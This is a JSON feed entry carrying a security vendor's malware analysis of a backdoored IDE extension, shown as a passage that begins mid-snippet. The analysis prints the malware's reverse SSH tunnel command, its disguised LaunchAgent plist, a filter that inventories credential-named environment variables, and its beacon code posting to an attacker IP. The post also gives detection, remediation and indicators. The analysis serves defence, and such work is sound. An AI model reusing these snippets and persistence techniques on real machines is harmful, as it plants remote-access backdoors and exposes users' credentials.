syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>win32<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span> <span class=\"syntax-keyword syntax-operator syntax-ternary syntax-js\">?</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span><span class=\"syntax-constant syntax-character syntax-escape syntax-js\">\\&quot;</span>*:0:localhost:22<span class=\"syntax-constant syntax-character syntax-escape syntax-js\">\\&quot;</span><span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span> <span class=\"syntax-keyword syntax-operator syntax-ternary syntax-js\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>&#39;*:0:localhost:22&#39;<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n</span></span></code></pre>\n<p>The tunnel uses <code>-R *:0:localhost:22</code> for remote port forwarding. Passing <code>0</code> asks the attacker’s SSH server to dynamically allocate a listening port and forward any traffic hitting it back through the tunnel to <code>localhost:22</code> on the victim’s machine:</p>\n<pre><code class=\"language-text\"><span class=\"code-snippet\">Affected host -- outbound SSH tunnel --&gt; External SSH server\n\nOperator -- separate connection --&gt; Server&#39;s allocated port\n                                            |\n                                 Through the existing tunnel\n                                            |\n                                            v\n                                  Affected host&#39;s SSH:22\n                                            |\n                                  Login using the planted key\n</span></code></pre>\n<p>Because the tunnel runs with <code>-N</code>, it just holds the port forward open without executing a command on the remote server. When the operator wants to access the machine, they start a separate SSH session through the allocated port on their server, authenticating against the victim’s local SSH daemon using the key planted in Stage 1. That gives them a full interactive shell and file transfer capability without needing any custom C2 command handling in the JavaScript itself.</p>\n<p>The SSH command also passes flags to keep the connection quiet and non-interactive: host-key checking is disabled, <code>known_hosts</code> is ignored, <code>BatchMode</code> and <code>IdentitiesOnly</code> are enabled, keepalives are set to 30 seconds (<code>ServerAliveCountMax=3</code>), and <code>ExitOnForwardFailure</code> is turned on.</p>\n<p>If <code>autossh</code> is installed, the script uses it; otherwise it falls back to standard <code>ssh</code>. It wraps the connection in a detached retry loop that sleeps for 60 seconds between attempts, using <code>pgrep</code> on Unix systems to avoid spinning up duplicate initial tunnels. Because the loop is detached, the tunnel stays up even after the user closes their IDE.</p>\n<h3>Stage 3 - Keeping Access Available</h3>\n<p>To survive a reboot, the script sets up platform-specific persistence alongside the initial detached tunnel:</p>\n<table>\n<thead>\n<tr>\n<th>Platform</th>\n<th>Artifacts</th>\n<th>Persistence mechanism</th>\n<th>Notes</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Linux</td>\n<td><code>~/.config/.smt</code>, <code>~/.config/.smtk</code></td>\n<td>Writes a shell script that recreates the tunnel key and loops the SSH connection, then adds an <code>@reboot</code> entry to the user’s crontab.</td>\n<td>Contains a bug in the crontab check that can wipe existing user cron jobs on repeat runs (detailed below).</td>\n</tr>\n<tr>\n<td>macOS</td>\n<td><code>~/.config/.smt</code>, <code>~/.config/.smtk</code>, <code>~/Library/LaunchAgents/com.apple.sysmond.plist</code></td>\n<td>Writes a user LaunchAgent that runs <code>/bin/sh ~/.config/.smt</code> with <code>RunAtLoad</code> and <code>KeepAlive</code> set to <code>true</code>, then loads it via <code>launchctl</code>.</td>\n<td>Runs in the user context rather than as a root LaunchDaemon.</td>\n</tr>\n<tr>\n<td>Windows</td>\n<td><code>~/.config/smt.cmd</code>, <code>~/.config/smtk</code>, <code>%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd</code></td>\n<td>Tries to create a scheduled task named <code>SysMon</code> running as <code>SYSTEM</code> on startup. If that fails, drops <code>sysmon.cmd</code> into the user’s Startup folder.</td>\n<td>Creating a <code>SYSTEM</code> task requires admin privileges; the Startup folder fallback runs as the user at login.</td>\n</tr>\n</tbody>\n</table>\n<p>On macOS and Linux, the <code>~/.config/.smt</code> script has the tunnel private key embedded inside it and writes it out to <code>~/.config/.smtk</code> before starting the reconnection loop.</p>\n<p>On macOS, the LaunchAgent disguises itself as <code>com.apple.sysmond.plist</code> inside <code>~/Library/LaunchAgents/</code>:</p>\n<pre><code class=\"language-xml\"><span class=\"code-snippet\" data-language=\"XML\"><span class=\"syntax-text syntax-xml\"><span class=\"syntax-meta syntax-tag syntax-xml\"><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-begin syntax-xml\">&lt;</span><span class=\"syntax-entity syntax-name syntax-tag syntax-localname syntax-xml\">key</span><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-end syntax-xml\">&gt;</span></span>Label<span class=\"syntax-meta syntax-tag syntax-xml\"><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-begin syntax-xml\">&lt;/</span><span class=\"syntax-entity syntax-name syntax-tag syntax-localname syntax-xml\">key</span><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-end syntax-xml\">&gt;</span></span>\n<span class=\"syntax-meta syntax-tag syntax-xml\"><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-begin syntax-xml\">&lt;</span><span class=\"syntax-entity syntax-name syntax-tag syntax-localname syntax-xml\">string</span><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-end syntax-xml\">&gt;</span></span>com.apple.sysmond<span class=\"syntax-meta syntax-tag syntax-xml\"><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-begin syntax-xml\">&lt;/</span><span class=\"syntax-entity syntax-name syntax-tag syntax-localname syntax-xml\">string</span><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-end syntax-xml\">&gt;</span></span>\n<span class=\"syntax-comment syntax-block syntax-xml\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-xml\">&lt;!--</span> ... <span class=\"syntax-punctuation syntax-definition syntax-comment syntax-end syntax-xml\">--&gt;</span></span>\n<span class=\"syntax-meta syntax-tag syntax-xml\"><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-begin syntax-xml\">&lt;</span><span class=\"syntax-entity syntax-name syntax-tag syntax-localname syntax-xml\">key</span><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-end syntax-xml\">&gt;</span></span>RunAtLoad<span class=\"syntax-meta syntax-tag syntax-xml\"><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-begin syntax-xml\">&lt;/</span><span class=\"syntax-entity syntax-name syntax-tag syntax-localname syntax-xml\">key</span><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-end syntax-xml\">&gt;</span></span>\n<span class=\"syntax-meta syntax-tag syntax-xml\"><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-begin syntax-xml\">&lt;</span><span class=\"syntax-entity syntax-name syntax-tag syntax-localname syntax-xml\">true</span><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-end syntax-xml\">/&gt;</span></span>\n<span class=\"syntax-meta syntax-tag syntax-xml\"><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-begin syntax-xml\">&lt;</span><span class=\"syntax-entity syntax-name syntax-tag syntax-localname syntax-xml\">key</span><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-end syntax-xml\">&gt;</span></span>KeepAlive<span class=\"syntax-meta syntax-tag syntax-xml\"><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-begin syntax-xml\">&lt;/</span><span class=\"syntax-entity syntax-name syntax-tag syntax-localname syntax-xml\">key</span><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-end syntax-xml\">&gt;</span></span>\n<span class=\"syntax-meta syntax-tag syntax-xml\"><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-begin syntax-xml\">&lt;</span><span class=\"syntax-entity syntax-name syntax-tag syntax-localname syntax-xml\">true</span><span class=\"syntax-punctuation syntax-definition syntax-tag syntax-end syntax-xml\">/&gt;</span></span>\n</span></span></code></pre>\n<h3>Stage 4 - Host Recon</h3>\n<p>Finally, the script gathers basic host reconnaissance and sends a one-off beacon back to the attacker’s server:</p>\n<ul>\n<li>Hostname, username, OS platform, and architecture</li>\n<li>Home directory, current working directory, and global Git email (<code>git config --global user.email</code>)</li>\n<li>Public IP address and status flags from each setup stage (e.g. whether the SSH key was added and which persistence method ran)</li>\n<li>Up to 40 environment variable <strong>names</strong> (not values) matching <code>/KEY|TOKEN|SECRET|PASS|AWS|GCP/i</code></li>\n</ul>\n<p>The environment variable check uses <code>Object.keys(process.env)</code>:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-support syntax-class syntax-builtin syntax-js\">Object</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">keys</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-support syntax-type syntax-object syntax-process syntax-js\">process</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-support syntax-type syntax-object syntax-process syntax-js\">env</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span>\n  <span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">filter</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-storage syntax-type syntax-function syntax-js\">function</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">k</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span></span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-string syntax-regexp syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">/</span>KEY<span class=\"syntax-keyword syntax-operator syntax-or syntax-regexp\">|</span>TOKEN<span class=\"syntax-keyword syntax-operator syntax-or syntax-regexp\">|</span>SECRET<span class=\"syntax-keyword syntax-operator syntax-or syntax-regexp\">|</span>PASS<span class=\"syntax-keyword syntax-operator syntax-or syntax-regexp\">|</span>AWS<span class=\"syntax-keyword syntax-operator syntax-or syntax-regexp\">|</span>GCP<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">/</span><span class=\"syntax-keyword syntax-other syntax-js\">i</span></span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">test</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">k</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span>\n  <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span>\n  <span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">slice</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-constant syntax-numeric syntax-js\">0</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-constant syntax-numeric syntax-js\">40</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span>\n</span></span></code></pre>\n<p>Because it only grabs the variable names, the beacon doesn’t exfiltrate the secret values themselves. Instead, it gives the operator a quick inventory of which cloud credentials or API tokens live on the machine so they know which hosts to prioritise.</p>\n<p>To get the machine’s public IP, the script queries <code>ifconfig[.]me</code>, falling back to <code>api[.]ipify[.]org</code>.</p>\n<p>It then sends the JSON report via plaintext HTTP POST requests to <code>/beacon</code> on both <code>134.209.82[.]225:8099</code> and <code>127.0.0.1:8099</code>:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-storage syntax-type syntax-js\">var</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">r</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-object syntax-js\">http</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">request</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n  <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">host</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">h</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n  <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">port</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">p</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n  <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">path</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>/beacon<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n  <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">method</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>POST<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n  <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">timeout</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-constant syntax-numeric syntax-js\">3000</span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n  <span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\">headers</span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-meta syntax-object-literal syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span><span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\"><span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>content-type<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span></span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> <span class=\"syntax-string syntax-quoted syntax-double syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&quot;</span>application/json<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&quot;</span></span><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span><span class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span> <span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-storage syntax-type syntax-function syntax-js\">function</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">res</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span></span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n  <span class=\"syntax-variable syntax-other syntax-object syntax-js\">res</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">resume</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> ...\n</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">r</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-support syntax-function syntax-dom syntax-js\">write</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">JSON</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">stringify</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">d</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-variable syntax-other syntax-object syntax-js\">r</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">end</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span>\n</span></span></code></pre>\n<p>Why it also sends a copy of the beacon to <code>127.0.0.1:8099</code> isn’t clear from the sample; the script itself doesn’t set up a local listener on that port.</p>\n<p>The beacon is scheduled once with <code>setTimeout</code> (1.5 seconds after the initial setup runs) and discards any HTTP response with <code>res.resume()</code>. It’s purely a check-in to let the operator know the host is ready, while the SSH tunnel handles the actual access.</p>\n<h2>Detection Opportunities</h2>\n<p>From a detection standpoint, there are several behaviours in this chain that stand out on macOS using Endpoint Security Framework (ESF) telemetry.</p>\n<h3>SSH Key and Configuration Changes</h3>\n<p>Because the malware appends to <code>~/.ssh/authorized_keys</code> directly using Node’s <code>fs.appendFileSync</code>, process-only rules watching for shell commands like <code>echo</code> or <code>tee</code> touching <code>authorized_keys</code> won’t catch it. This is where file modification telemetry is essential: watching for IDE helper processes (<code>Code Helper</code>, <code>Cursor Helper</code>, etc.) creating or writing to <code>~/.ssh/authorized_keys</code>.</p>\n<p>Even though the IDE binary itself is validly signed, its extension host process has no business modifying SSH authentication files in the background.</p>\n<p>While you should also monitor for <code>systemsetup -setremotelogin on</code>, don’t rely on it as a required condition for alerting on this campaign. As we saw above, the broken state check on macOS means that command often won’t run at all.</p>\n<h3>User LaunchAgent Persistence</h3>\n<p>The persistence setup on macOS gives us a couple of strong signals:</p>\n<ul>\n<li>A non-Apple process writing a plist with a <code>com.apple.*</code> label (<code>~/Library/LaunchAgents/com.apple.sysmond.plist</code>).</li>\n<li>A LaunchAgent configured to execute <code>/bin/sh</code> against a hidden script in the user’s home directory (<code>~/.config/.smt</code>).</li>\n</ul>\n<p>Because the initial tunnel is spawned as a detached process and <code>launchd</code> later manages <code>.smt</code> directly, the subsequent <code>ssh</code> processes won’t have the IDE as their immediate parent in a live process tree. Correlating the file creation of <code>.smt</code> and <code>com.apple.sysmond.plist</code> back to the IDE extension host makes it much easier to piece the chain together.</p>\n<h3>SSH Tunnels and Follow-On Access</h3>\n<p>On the process and network side, look for:</p>\n<ul>\n<li><code>ssh</code> or <code>autossh</code> launched with remote port forwarding (<code>-R *:0:localhost:22</code>) and identity files pulled from <code>/tmp/.stk_*</code> or <code>~/.config/.smtk</code>.</li>\n<li>Outbound SSH connections to <code>134.209.82[.]225</code> on port 22, alongside HTTP POST requests to <code>134.209.82[.]225:8099</code> (and connection attempts to <code>127.0.0.1:8099</code>).</li>\n</ul>\n<p>If you find a host where this extension ran, it’s important to check whether the tunnel was merely established or whether an operator actually logged in through it. Because inbound sessions arrive through the local port forward, successful logins in SSH logs will appear to come from <code>localhost</code> (<code>127.0.0.1</code> or <code>::1</code>) authenticating with the <code>svc-telemetry</code> key.</p>\n<h3>Remediation</h3>\n<p>If you identify an affected machine, <strong>uninstalling the extension alone won’t remove the backdoor</strong>. Make sure your response covers all of the stages it drops:</p>\n<ol>\n<li><strong>Kill active tunnel processes:</strong> Terminate the <code>/bin/sh</code> retry loop and any <code>ssh</code> or <code>autossh</code> processes connecting to <code>134.209.82[.]225</code>.</li>\n<li><strong>Remove persistence:</strong> Unload and delete <code>~/Library/LaunchAgents/com.apple.sysmond.plist</code> on macOS (or clean up the <code>@reboot</code> cron entry on Linux / <code>SysMon</code> scheduled task and Startup script on Windows), and remove <code>~/.config/.smt</code> and <code>~/.config/.smtk</code>.</li>\n<li><strong>Clean up SSH keys and state:</strong> Remove the <code>svc-telemetry</code> public key from <code>~/.ssh/authorized_keys</code>, delete <code>/tmp/.stk_*</code>, and verify that Remote Login (SSH) hasn’t been enabled unexpectedly.</li>\n<li><strong>Rotate credentials:</strong> If SSH was enabled on the host, or if there’s any evidence of an inbound login, rotate any credentials or tokens that were accessible to that user account (especially those matching the <code>KEY|TOKEN|SECRET|PASS|AWS|GCP</code> environment variable filter).</li>\n</ol>\n<h2>Phorion’s Approach</h2>\n<p>Phorion’s out-of-the-box detection coverage flags the macOS persistence used in this attack across multiple rules, including non-Apple processes creating <code>com.apple.*</code> LaunchAgents and LaunchAgents executing shell scripts from hidden directories.</p>\n<p>Beyond persistence, Phorion’s file access telemetry captures the IDE extension host modifying <code>~/.ssh/authorized_keys</code> directly, and <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://phorion.io/blog/phorion-protections/\">Phorion Protections</a> can be used to lock down <code>~/.ssh/</code> so that only authorised processes can read or modify SSH keys and configuration files in the first place.</p>\n<p>If you want to see how Phorion detects and blocks supply chain threats like this across your Mac fleet, <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://phorion.io/blog/offical-claude-code-vsx-compromise/#cta\">get in touch to arrange a demo</a>.</p>\n<h2>Indicators</h2>\n<h3>Sample and Public-Key Fingerprints</h3>\n<table>\n<thead>\n<tr>\n<th>Indicator</th>\n<th>Value</th>\n<th>Notes</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>SHA-256</td>\n<td><code>ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15</code></td>\n<td>Backdoored <code>extension.js</code> bundle</td>\n</tr>\n<tr>\n<td>Victim-login public-key fingerprint</td>\n<td><code>SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk</code></td>\n<td>Ed25519 key appended to <code>~/.ssh/authorized_keys</code> (comment <code>svc-telemetry</code>)</td>\n</tr>\n<tr>\n<td>Tunnel public-key fingerprint</td>\n<td><code>SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ</code></td>\n<td>Embedded Ed25519 key used to authenticate to the tunnel server (comment <code>svc-telemetry-tun</code>)</td>\n</tr>\n</tbody>\n</table>\n<h3>Network Indicators</h3>\n<table>\n<thead>\n<tr>\n<th>Indicator</th>\n<th>Type</th>\n<th>Notes</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>134.209.82[.]225</code> (TCP <code>22</code>, user <code>tunnel</code>)</td>\n<td>IP / SSH</td>\n<td>Outbound reverse SSH tunnel server</td>\n</tr>\n<tr>\n<td><code>134.209.82[.]225:8099</code> (<code>POST /beacon</code>)</td>\n<td>IP / HTTP</td>\n<td>External host-report beacon endpoint</td>\n</tr>\n<tr>\n<td><code>127.0.0.1:8099</code> (<code>POST /beacon</code>)</td>\n<td>Loopback / HTTP</td>\n<td>Local beacon destination</td>\n</tr>\n<tr>\n<td><code>ifconfig[.]me</code>, <code>api[.]ipify[.]org</code></td>\n<td>Domain</td>\n<td>Legitimate services queried for public IP discovery</td>\n</tr>\n</tbody>\n</table>\n<h3>Host Artifacts</h3>\n<table>\n<thead>\n<tr>\n<th>Artifact</th>\n<th>Platform</th>\n<th>Notes</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>~/.&lt;ide&gt;/extensions/anthropic.claude-code-2.1.313-darwin-arm64</code></td>\n<td>macOS (Apple Silicon)</td>\n<td>Installed extension directory (<code>&lt;ide&gt;</code> varies by editor)</td>\n</tr>\n<tr>\n<td><code>~/.ssh/authorized_keys</code> (comment <code>svc-telemetry</code>)</td>\n<td>All</td>\n<td>Planted Ed25519 public key</td>\n</tr>\n<tr>\n<td><code>&lt;TMP&gt;/.stk_&lt;10 hex chars&gt;</code> (<code>$TMPDIR/.stk_*</code> on macOS)</td>\n<td>All</td>\n<td>Initial tunnel private key in the OS temporary directory (suffix is first 10 hex chars of <code>MD5(hostname + HOME)</code>)</td>\n</tr>\n<tr>\n<td><code>~/.config/.smt</code> and <code>~/.config/.smtk</code></td>\n<td>macOS, Linux</td>\n<td>Persistence shell script and recreated tunnel private key</td>\n</tr>\n<tr>\n<td><code>~/Library/LaunchAgents/com.apple.sysmond.plist</code></td>\n<td>macOS</td>\n<td>User LaunchAgent executing <code>/bin/sh ~/.config/.smt</code></td>\n</tr>\n<tr>\n<td><code>@reboot</code> cron entry for <code>~/.config/.smt</code></td>\n<td>Linux</td>\n<td>User crontab persistence</td>\n</tr>\n<tr>\n<td><code>~/.config/smt.cmd</code> and <code>~/.config/smtk</code></td>\n<td>Windows</td>\n<td>Persistence batch script and tunnel private key</td>\n</tr>\n<tr>\n<td>Scheduled task <code>SysMon</code></td>\n<td>Windows</td>\n<td>Startup scheduled task (requests <code>SYSTEM</code>)</td>\n</tr>\n<tr>\n<td><code>%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd</code></td>\n<td>Windows</td>\n<td>Startup folder fallback script</td>\n</tr>\n</tbody>\n</table>\n",
      "date_modified": "2026-10-30T07:09:12+00:00",
      "date_published": "2026-10-30T07:09:12+00:00",
      "external_url": "https://phorion.io/blog/offical-claude-code-vsx-compromise/",
      "id": "urn:aggr:item:50da21a0a0f633097dbcbd3a2f1229be60a16b4f",
      "image": "https://phorion.io/images/default-social-card.png",
      "summary": "https://cursor.com/blog/claude-code-extension-security-notic... Comments URL: https://news.ycombinator.com/item?id=50300683 Points: 495 # Comments: 384",
      "tags": [
        "news"
      ],
      "title": "Backdoor in Claude Code for VS Code extension on the Cursor Marketplace",
      "url": "https://aggr.aymericbeaumet.com/items/hnrss-org/2026-10-30-backdoor-in-claude-code-for-vs-code-extension-on-the-cursor/"
    }
  ],
  "language": "en",
  "title": "phorion.io",
  "version": "https://jsonfeed.org/version/1.1"
}